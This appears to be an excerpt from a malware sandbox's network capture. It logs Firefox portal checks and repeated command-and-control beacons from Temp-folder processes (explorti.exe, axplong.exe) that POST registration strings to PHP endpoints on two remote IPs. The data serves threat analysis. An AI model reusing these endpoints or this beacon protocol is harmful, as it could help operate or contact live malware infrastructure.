Jul 26, 2024 10:38:12.341744900 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:12.444444895 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80822 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:20.383021116 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:20.483735085 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80830 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:20.811398983 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:20.911128998 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80830 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:23.460355997 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:23.612037897 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80833 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:27.101783037 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:27.219173908 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:37.303210974 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:38:44.659898043 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:44.758723021 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80854 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:54.782253027 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:04.875391006 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:14.892765999 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:25.073806047 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:39:25.173540115 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80895 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:39:35.202299118 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:45.296188116 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:39:55.404469967 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:05.579442024 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:15.591053009 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:24.836621046 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:40:24.935622931 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80954 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:40:25.320270061 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:40:25.419167995 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80955 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:40:35.502461910 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 10:40:45.592669010 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:40:45.692198992 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80975 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:42:33.567274094 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:42:33.669869900 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 81083 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:43:26.924565077 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:43:27.355124950 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 81136 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:43:27.385464907 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 81136 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:44:26.583239079 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:44:26.693136930 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 81196 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:44:27.045768023 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:44:27.144253016 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 81197 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49958	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:57.359559059 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:58.160207033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:58.165271044 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:58.414549112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:00.514612913 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:01.263401031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49959	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:57.582429886 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:58.398369074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:58.405529022 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:58.824912071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:00.741504908 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:01.507675886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49962	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:58.827311039 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:59.662801027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:59.666692019 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:59.915772915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:02.191389084 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:02.950392008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49964	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:58.941040039 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:59.722013950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49967	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:59.734783888 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:38:00.550618887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:04.101408005 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:04.915205002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49971	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:00.076312065 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:00.849668980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:38:01.074027061 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:01.332312107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49978	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:00.715640068 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:01.577666998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49980	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:01.454483986 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:02.278264046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:38:02.289875031 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:02.539082050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
